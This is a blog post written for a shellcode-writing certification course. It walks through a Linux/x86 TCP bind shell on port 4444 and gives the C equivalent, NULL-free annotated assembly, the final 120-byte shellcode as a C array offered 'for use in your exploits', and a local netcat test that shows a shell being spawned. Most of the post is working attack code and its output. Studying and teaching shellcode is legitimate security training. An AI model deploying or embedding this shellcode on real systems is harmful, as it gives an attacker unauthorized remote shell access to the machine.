SLAE #1: Bindshell Shellcode for Linux/x86

Introduction

This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-877

This course is an introduction to writing shellcode for Linux systems running on 32 bit x86 architecture. It consists of seven assignments:

  • Writing a TCP bind shell shellcode
  • Writing a reverse (connectback) shellcode
  • A demonstration of an egg hunter shellcode
  • Crafting a shellcode encoder
  • Analyzing existing shellcodes
  • Polymorphic shellcode
  • Writing a shellcode crypter

The final exam’s format is not a traditional multiple choice test. Each assignment must be completed, the code posted on GitHub, and accompanied by a blog post that walks the reader through each assignment.

So far, I feel that this course is an excellent value and the material to be of high quality. I’d recommend this course to anybody that wants to learn how to write shellcode even though it is for x86 processors rather than 64 bit. The concepts are mostly the same, and I believe 32 bit x86 assembly is easier to learn initially than 64 bit. Most of the concepts directly transfer over to 64 bit x86.

In order to follow along, the reader should be familiar with C programming, the Linux command line, and know basic x86 assembler. This doesn’t require wizard-like knowledge of assembler, but you need to know what registers are and some of the basic instructions such as push, pop, mov, cmp, etc. If this is not familiar to you, I recommend the book Programming From the Ground Up before continuing with this exercise.

To get the code provided in this exercise:

% git clone https://github.com/droberson/SLAE.git

Relevant files to this exercise will be in the Assignment-1 directory. Each assignment’s directory contains a Makefile that should compile all of the code necessary to follow along. This has only been tested on 64 bit Linux systems with multilib gcc and nasm installed:

% sudo apt install gcc-multilib nasm

What is A Bind Shell?

A bind shell listens for incoming TCP connections on a specified port and executes a shell once a connection has been established. The port to bind to must be easily configured to satisfy the requirements of this exercise. The following example written in C is what this shellcode aims to accomplish:

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
  int s, c;
  unsigned short port = 4444;
  struct sockaddr_in addr;

  s = socket(AF_INET, SOCK_STREAM, 0);

  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = INADDR_ANY;

  bind(s, (struct sockaddr*)&addr, sizeof(addr));
  listen(s, 0);

  c = accept(s, NULL, NULL);

  dup2(c, STDERR_FILENO);
  dup2(c, STDOUT_FILENO);
  dup2(c, STDIN_FILENO);

  execve("/bin/sh", NULL, NULL);

  return 0;
}

This code listens on all interfaces available on the machine on port 4444, accepts the first connection, duplicates standard in, standard out, and standard error file descriptors to the incoming connection, and provides a shell interface to whoever connects to it.

These types of shells aren’t usually ideal due to firewalls, NAT, and other networking and system level hurdles, but it is a good example to learn with.

Keep in mind that on most systems, you must have a high privileged account to bind to a port below 1024. This means that you must be root.

This shellcode will also break if the port number once translated into a usable format (big endian, network byte order) contains a NULL byte. For example, port 1280 would not work with this shell code because of the 0x00 byte once translated to network byte order:

% python -c "import socket; print '0x%04x' % socket.htons(1280)"      
0x0005

For completeness, ports 1-255 and the following may not be used due to this limitation with NULL bytes:

 % for i in {1..255}; do echo "$i * 256" | bc; done |column
256	6912	13568	20224	26880	33536	40192	46848	53504	60160
512	7168	13824	20480	27136	33792	40448	47104	53760	60416
768	7424	14080	20736	27392	34048	40704	47360	54016	60672
1024	7680	14336	20992	27648	34304	40960	47616	54272	60928
1280	7936	14592	21248	27904	34560	41216	47872	54528	61184
1536	8192	14848	21504	28160	34816	41472	48128	54784	61440
1792	8448	15104	21760	28416	35072	41728	48384	55040	61696
2048	8704	15360	22016	28672	35328	41984	48640	55296	61952
2304	8960	15616	22272	28928	35584	42240	48896	55552	62208
2560	9216	15872	22528	29184	35840	42496	49152	55808	62464
2816	9472	16128	22784	29440	36096	42752	49408	56064	62720
3072	9728	16384	23040	29696	36352	43008	49664	56320	62976
3328	9984	16640	23296	29952	36608	43264	49920	56576	63232
3584	10240	16896	23552	30208	36864	43520	50176	56832	63488
3840	10496	17152	23808	30464	37120	43776	50432	57088	63744
4096	10752	17408	24064	30720	37376	44032	50688	57344	64000
4352	11008	17664	24320	30976	37632	44288	50944	57600	64256
4608	11264	17920	24576	31232	37888	44544	51200	57856	64512
4864	11520	18176	24832	31488	38144	44800	51456	58112	64768
5120	11776	18432	25088	31744	38400	45056	51712	58368	65024
5376	12032	18688	25344	32000	38656	45312	51968	58624	65280
5632	12288	18944	25600	32256	38912	45568	52224	58880
5888	12544	19200	25856	32512	39168	45824	52480	59136
6144	12800	19456	26112	32768	39424	46080	52736	59392
6400	13056	19712	26368	33024	39680	46336	52992	59648
6656	13312	19968	26624	33280	39936	46592	53248	59904

Calling Conventions

The calling convention scheme used on Linux/x86 to call system calls is roughly as follows:

  • EAX is set to the system call number
  • EBX – EDX are parameters for the function being called
  • INT 0x80 makes the call
  • Return value is stored in the EAX register.

http://syscalls.kernelgrok.com/ contains a nice chart to reference system call numbers and their parameters.

To illustrate this concept, the following assembly code is a simple call to exit(2):

mov eax, 1    ; exit is system call number 1
mov ebx, 2    ; want to exit(1)
int 0x80      ; call exit(2)

Worth noting before we move on, Linux has multiplexed many of the networking API calls into socketcall(), which is system call number 102. This means that EAX must be set to 102 and EBX set to the appropriate value for the function you want to call. These values are defined in /usr/include/linux/net.h:

 % grep SYS_ /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */
#define SYS_SEND        9               /* sys_send(2)                  */
#define SYS_RECV        10              /* sys_recv(2)                  */
#define SYS_SENDTO      11              /* sys_sendto(2)                */
#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */
#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */
#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */
#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */
#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */
#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */
#define SYS_ACCEPT4     18              /* sys_accept4(2)               */
#define SYS_RECVMMSG    19              /* sys_recvmmsg(2)              */
#define SYS_SENDMMSG    20              /* sys_sendmmsg(2)              */

Tying it all together

Using the information provided about the calling conventions on Linux and the system call number chart, I cobbled together a working bindshell shellcode. This was tested using test.c located within the Assignment-1 directory.

My original code spawned a shell, but contained NULL bytes. Using a couple of tricks such as referring to AX rather than EAX and using XOR to zero out registers, I was able to eliminate all NULL bytes. I also created a loop for dup2() so I didn’t have to hand code three calls to this function. Hopefully the comments in the example provided below shed some light on this:

; Linux/x86 bindshell shellcode
; By Daniel Roberson -- @dmfroberson -- daniel@planethacker.net
; 
; For the SecurityTube Linux Assembly Expert course.
; SLAE-877

BITS 32

;
; Port number. In network byte order. Calculate with Python:
; python -c "import socket; print '0x%04x' % socket.htons(1280)"
;
PORT equ 0x5c11                ; port to bind to

xor eax, eax                   ; zero out eax register
xor ebx, ebx                   ; zero out ebx register
xor edx, edx                   ; zero out ebx register

add eax, 102                   ; socketcall() -- changed to add to get rid of null byte
inc ebx                        ; socket()      -- changed to inc to get rid of null byte
push edx                       ; protocol. 0 = IP
push 1                         ; SOCK_STREAM
push 2                         ; AF_INET
mov ecx, esp                   ; array of arguments for socket()
int 0x80                       ; call socket()

mov esi, eax                   ; move fd for socket into esi

xor eax, eax                   ; zero out eax
add eax, 102                   ; socketcall() -- got rid of the null byte
inc ebx                        ; bind()
push edx                       ; INADDR_ANY

mov cx, PORT                   ; use cx rather than ecx to remove two null bytes
push cx

push word 2                    ; AF_INET
mov ecx, esp                   ; bind() args
push 16                        ; size
push ecx                       ; fd
push esi                       ; socket fd
mov ecx, esp                   ; call bind()
int 0x80

xor eax, eax                   ; zero out eax
add eax, 102                   ; socketcall() -- changed to add to remove null byte
xor ebx, ebx                   ; zero out ebx
add ebx, 4                     ; listen()     -- changed to add to remove null byte
push edx                       ; backlog = 0
push esi                       ; socket fd
mov ecx, esp                   ; listen arguments
int 0x80                       ; call listen()

xor eax, eax                   ; zero out eax 
add eax, 102                   ; socketcall() -- changed to add to remove null byte
xor ebx, ebx                   ; zero out ebx
add ebx, 5                     ; accept()  -- changed to add to remove null byte
push edx                       ; zero addrlen
push edx                       ; null sockaddr
push esi                       ; sockfd
mov ecx, esp                   ; accept() arguments
int 0x80                       ; call socketcall()

xchg ebx, eax                  ; store socket fd for dup2()

xor ecx, ecx                   ; zero out ecx
mov cl, 2                      ; initialize counter
loop:                          ; dup2() loop for stdin, stdout, stderr
    xor eax, eax               ; zero out eax
    add eax, 63                ; dup2()
    int 0x80                   ; call dup2()
    dec ecx                    ; decrease counter
    jns loop                   ;
 
xchg eax, edx                  ; copy null byte into eax
push eax                       ; push null byte
push 0x68732f2f                ; //sh
push 0x6e69622f                ; /bin
mov ebx, esp                   ; 
push eax                       ; null
push ebx                       ; address of /bin/sh 
mov ecx, esp                   ;
push eax                       ; null
mov edx, esp                   ; envp
mov al, 11                     ; execve()
int 0x80                       ; call execve()

To change the port, refer to the source file bindshell.asm for the python one liner to provide the port number in network byte order. Simply replace the hexadecimal value of PORT and recompile using make. Finally, you can test the code and get the C array for use in your exploits using test.c:

 % make clean      
rm -rf shellcode bindshell test *~
 % make
gcc -g -m32 -o bindshell bindshell.c
bindshell.c: In function ‘main’:
bindshell.c:30:3: warning: null argument where non-null required (argument 2) [-Wnonnull]
   execve("/bin/sh", NULL, NULL);
   ^
gcc -m32 -fno-stack-protector -z execstack -o test test.c
nasm -o shellcode bindshell.asm
 % ./test shellcode
Testing shellcode contained in shellcode

char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x83\xc0\x66\x43"
                   "\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89"
                   "\xc6\x31\xc0\x83\xc0\x66\x43\x52\x66\xb9"
                   "\x11\x5c\x66\x51\x66\x6a\x02\x89\xe1\x6a"
                   "\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\x83"
                   "\xc0\x66\x31\xdb\x83\xc3\x04\x52\x56\x89"
                   "\xe1\xcd\x80\x31\xc0\x83\xc0\x66\x31\xdb"
                   "\x83\xc3\x05\x52\x52\x56\x89\xe1\xcd\x80"
                   "\x93\x31\xc9\xb1\x02\x31\xc0\x83\xc0\x3f"
                   "\xcd\x80\x49\x79\xf6\x92\x50\x68\x2f\x2f"
                   "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
                   "\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";

Length: 120

Executing shellcode..

From another terminal, I use netcat to verify that this is indeed working:

 % nc -v localhost 4444
Connection to localhost 4444 port [tcp/*] succeeded!
uname -a
Linux vagrant 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Next assignment: Reverse Shell

Click here to continue to the next section.

One thought on “SLAE #1: Bindshell Shellcode for Linux/x86

  1. Pingback: SLAE #2: Reverse Shell For Linux/x86 – DMFROBERSON

Leave a comment